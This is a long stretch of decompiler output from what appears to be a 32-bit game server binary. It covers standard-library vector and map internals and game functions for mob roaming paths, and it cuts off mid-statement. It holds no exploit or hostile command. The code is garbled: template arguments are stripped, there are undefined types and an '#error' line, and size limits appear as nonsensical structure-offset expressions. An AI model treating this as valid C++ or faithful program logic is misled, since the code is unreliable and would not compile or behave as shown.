thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004A2A00) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 #593 **v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 #593 **v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *v12; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator *)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; v12 = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (#593 **)((char *)v7 + _Counta); v2->_Mylast = (#593 **)((char *)v7 + 4 * v4); v2->_Myfirst = (#593 **)v7; } } //----- (004A2ABA) -------------------------------------------------------- void __usercall _L170717(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004A2AD0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val) { std::vector > *v4; // ebx@1 MobRoaming::PathElement *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // ecx@15 int v11; // eax@18 int v12; // edi@22 void *v13; // eax@22 std::vector >::const_iterator v14; // ecx@22 int v15; // eax@22 unsigned int v16; // esi@24 void *v17; // eax@26 char *v18; // esi@26 std::vector >::const_iterator v19; // ecx@27 int v20; // eax@27 MobRoaming::PathElement *v21; // ecx@28 MobRoaming::PathElement *v22; // ST20_4@28 MobRoaming::PathElement *v23; // eax@28 char *v24; // esi@28 MobRoaming::PathElement *v25; // eax@29 void *v26; // ecx@29 int v27; // [sp+0h] [bp-54h]@1 void *_Newvec; // [sp+Ch] [bp-48h]@22 MobRoaming::PathElement *_Ptr; // [sp+10h] [bp-44h]@22 MobRoaming::PathElement _Tmp; // [sp+14h] [bp-40h]@1 unsigned int v31; // [sp+40h] [bp-14h]@1 int *v32; // [sp+44h] [bp-10h]@1 int v33; // [sp+50h] [bp-4h]@22 int v34; // [sp+54h] [bp+0h]@1 v4 = this; memcpy(&_Tmp, _Val, 0x28u); *(_WORD *)&_Tmp.EventIndex[30] = *(_WORD *)&_Val->EventIndex[30]; v5 = this->_Myfirst; v31 = (unsigned int)&v34 ^ __security_cookie; v32 = &v27; if ( v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1105].gap119c8[-v8 + 6598] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 42; _Ptr = v4->_Mylast; if ( v20 >= _Count ) { _Newvec = (void *)(*(_DWORD *)&v19 - 42 * _Count); v25 = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 42 * _Count), v19, *(MobRoaming::PathElement **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v26 = _Newvec; v4->_Mylast = v25; std::copy_backward( *(MobRoaming::PathElement **)&_Where, (MobRoaming::PathElement *)v26, _Ptr); std::fill( *(MobRoaming::PathElement **)&_Where, (MobRoaming::PathElement *)(*(_DWORD *)&_Where + 42 * _Count), &_Tmp); } else { _Ptr = (MobRoaming::PathElement *)(42 * _Count); std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, v19, (MobRoaming::PathElement *)(*(_DWORD *)&_Where + 42 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(42 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v33 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 42, &_Tmp); v23 = _Ptr; v24 = (char *)_Ptr + (unsigned int)v4->_Mylast; v4->_Mylast = (MobRoaming::PathElement *)v24; std::fill( *(MobRoaming::PathElement **)&_Where, (MobRoaming::PathElement *)(v24 - (char *)v23), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1105].gap119c8[-(v6 >> 1) + 6598] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = 42 * v10; v13 = operator new(42 * v10); v14 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v13; v33 = 0; _Ptr = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v14, _Where.baseclass_0, (MobRoaming::PathElement *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); std::_Uninit_fill_n>( _Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 42; v16 = v15 + _Count; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v17 = _Newvec; v18 = (char *)_Newvec + 42 * v16; v4->_Myend = (MobRoaming::PathElement *)((char *)_Newvec + v12); v4->_Mylast = (MobRoaming::PathElement *)v18; v4->_Myfirst = (MobRoaming::PathElement *)v17; } } } //----- (004A2D70) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { MobRoaming::PathElement *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // edi@2 signed int v5; // edx@3 unsigned int v6; // edi@7 void *v7; // eax@7 std::vector >::const_iterator v8; // ecx@7 std::vector >::const_iterator v9; // ST00_4@7 int v10; // [sp+0h] [bp-20h]@1 std::vector > *v11; // [sp+Ch] [bp-14h]@1 int *v12; // [sp+10h] [bp-10h]@1 int v13; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v12 = &v10; v11 = this; if ( v2 ) { v5 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)_Right->_Mylast - (char *)v2)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&wholesaver.ws_savestore[1105].gap119c8[6598] ) std::vector>::_Xlen(this); v6 = 42 * v4; v7 = operator new(v6); v3->_Myfirst = (MobRoaming::PathElement *)v7; v3->_Mylast = (MobRoaming::PathElement *)v7; v3->_Myend = (MobRoaming::PathElement *)((char *)v7 + v6); v8 = (std::vector >::const_iterator)_Right->_Mylast; v9 = (std::vector >::const_iterator)_Right->_Myfirst; v13 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v9, v8, (MobRoaming::PathElement *)v7, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (004A2E21) -------------------------------------------------------- void __usercall _L171257(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this) { std::_Tree_nod,std::allocator,0> >::_Node *v1; // esi@1 v1 = this; if ( this->_Myval.baseclass_0._Myfirst ) operator delete(this->_Myval.baseclass_0._Myfirst); v1->_Myval.baseclass_0._Myfirst = 0; v1->_Myval.baseclass_0._Mylast = 0; v1->_Myval.baseclass_0._Myend = 0; } //----- (004A2E70) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val) { std::vector > *v4; // edi@1 MobRoaming::PathElement *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004A2EE0) -------------------------------------------------------- void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve( &this->baseclass_0, 0x1Eu); } //----- (004A2F30) -------------------------------------------------------- #error "4A2F30: undefined or illegal type '#593' (funcsize=24)" //----- (004A2F70) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[12] = 0i64; *(_QWORD *)&this->mrp_GroupName.ort_Name[4] = 0i64; *(_DWORD *)&this->mrp_GroupName.ort_Name[0] = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[0] = *(_QWORD *)&groupname->ort_Name[0]; *(_QWORD *)&this->mrp_GroupName.ort_Name[8] = *(_QWORD *)&groupname->ort_Name[8]; *(_DWORD *)&this->mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; } //----- (004A2FB0) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname) { MobRoaming::MobRoamingSet *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 int v6; // esi@1 ORToken **v7; // eax@3 ORToken *v8; // eax@5 MobRoaming::MobRoamingPath *v9; // esi@6 MobRoaming::MobRoamingPath *result; // eax@6 int v11; // [sp+8h] [bp-34h]@4 MobRoaming::MobRoamingPath _Keyval; // [sp+Ch] [bp-30h]@1 int v13; // [sp+38h] [bp-4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRoaming::MobRoamingSet::mrs_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; _Keyval.baseclass_0._Myfirst = 0; _Keyval.baseclass_0._Mylast = 0; _Keyval.baseclass_0._Myend = 0; v3 = *(_DWORD *)&groupname->ort_Name[4]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[0] = *(_DWORD *)&groupname->ort_Name[0]; v4 = *(_DWORD *)&groupname->ort_Name[8]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[4] = v3; *(_QWORD *)&_Keyval.mrp_GroupName.ort_Name[8] = __PAIR__(*(_DWORD *)&groupname->ort_Name[12], v4); *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; v5 = std::_Tree_std::allocator_0>>::_Lbound( &v2->baseclass_0.baseclass_0, &_Keyval); v6 = (int)v2->baseclass_0.baseclass_0._Myhead; groupname = (ORToken *)v5; if ( v5 == (std::_Tree_nod,std::allocator,0> >::_Node *)v6 || MobRoaming::MobRoamingPath::operator<(&_Keyval, &v5->_Myval) ) { v11 = v6; v7 = (ORToken **)&v11; } else { v7 = &groupname; } v8 = *v7; --funcallanalizer.fca_stackpoint; v13 = -1; if ( v8 == (ORToken *)v6 ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = 0; } else { v9 = (MobRoaming::MobRoamingPath *)&v8->ort_Name[12]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = v9; } return result; } //----- (004A30D0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val) { std::vector > *v2; // esi@1 MobRoaming::PathElement *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 MobRoaming::PathElement *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004A3160) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 char *v7; // edi@1 v6 = this; this->_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; std::vector>::vector>( &this->_Myval.baseclass_0, &_Val->baseclass_0); v7 += 16; *(_QWORD *)v7 = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[8]; *((_DWORD *)v7 + 4) = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v6->_Color = _Carg; v6->_Isnil = 0; } //----- (004A31C0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { void *v6; // esi@1 int v8; // [sp+0h] [bp-24h]@1 void *v9; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x34u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator_0>>::_Node::_Node( (std::_Tree_nod,std::allocator,0> >::_Node *)v6, _Larg, _Parg, _Rarg, _Val, _Carg); return (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } //----- (004A3250) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1308].esc_skill.buffer[6522] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004A3400) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree,std::allocator,0> >::iterator v4; // ebp@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree,std::allocator,0> > *v15; // ecx@37 int v16; // eax@39 bool v17; // zf@54 unsigned int v18; // eax@62 std::_Tree,std::allocator,0> >::iterator *v19; // eax@64 std::_Tree,std::allocator,0> > *v20; // [sp+8h] [bp-54h]@1 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v20->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&v4 + 48) == 1 ) { v15 = v20; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v20->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v16 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = **(_DWORD **)&v7; v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = **(_DWORD **)&v7; v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v16 + 48) = 0; LABEL_54: v5 = v7; v17 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v15->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v17 ); } *(_BYTE 